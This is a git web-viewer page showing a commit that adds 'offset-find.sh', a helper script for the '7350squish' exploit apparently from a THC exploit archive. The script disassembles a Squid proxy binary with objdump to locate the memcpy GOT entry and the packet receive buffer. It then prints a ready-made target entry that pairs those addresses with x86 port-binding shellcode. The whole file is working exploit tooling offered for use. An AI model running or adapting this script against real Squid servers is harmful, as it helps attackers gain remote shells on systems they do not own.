summaryrefslogtreecommitdiff
path: root/exploits/7350squish/offset-find.sh
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/7350squish/offset-find.sh
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/7350squish/offset-find.sh')
-rw-r--r--exploits/7350squish/offset-find.sh67
1 files changed, 67 insertions, 0 deletions
diff --git a/exploits/7350squish/offset-find.sh b/exploits/7350squish/offset-find.sh
new file mode 100644
index 0000000..dad7232
--- /dev/null
+++ b/exploits/7350squish/offset-find.sh
@@ -0,0 +1,67 @@
1#!/bin/sh
2
3# 7350squish offset finder
4# lorian & scut
5
6check_util ()
7{
8 for util in $*; do
9 echo -n "checking for $util: "
10 if ! which $util; then
11 echo "not found, aborting"
12 exit
13 fi
14 done
15}
16
17echo "7350squish exploit offset finder"
18echo
19
20if [ $# != 1 ]; then
21 echo "usage: $0 /path/to/squid/binary"
22 echo
23 exit
24fi;
25
26
27check_util awk objdump
28
29echo
30
31bufferbase=`objdump -D $1 2>/dev/null | \
32 grep "68 00 02 00 00" -A 1 | tail -1 | cut -d '$' -f2`
33
34retaddr=`echo $bufferbase | awk 'function hex2num(s)
35{
36 n = length (s)
37 v = 0
38 for (i = 1; i < n-1; i++) {
39 c = tolower(substr (s, i+2, 1));
40 if (c=="a") c=10;
41 if (c=="b") c=11;
42 if (c=="c") c=12;
43 if (c=="d") c=13;
44 if (c=="e") c=14;
45 if (c=="f") c=15;
46 v = v * 16 + c;
47 }
48 return v
49}
50{
51 printf ("0x%08x\n", hex2num ($0) + 144)
52}'`
53
54#retaddr=`echo $bufferbase | awk '{ printf ("0x%08x\n", $0 + 144) }'`
55
56retloc=`objdump -R $1 2>/dev/null | \
57 grep "memcpy$" | awk '{ printf ("0x%s", $1) }'`
58
59echo "{ \"NEW TARGET\","
60echo "x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,"
61echo "$retloc, /* GOT: memcpy */"
62echo "$retaddr, /* packet receive buffer + 0x90 */"
63echo "0x0182, 288 },"
64echo
65
66echo finished.
67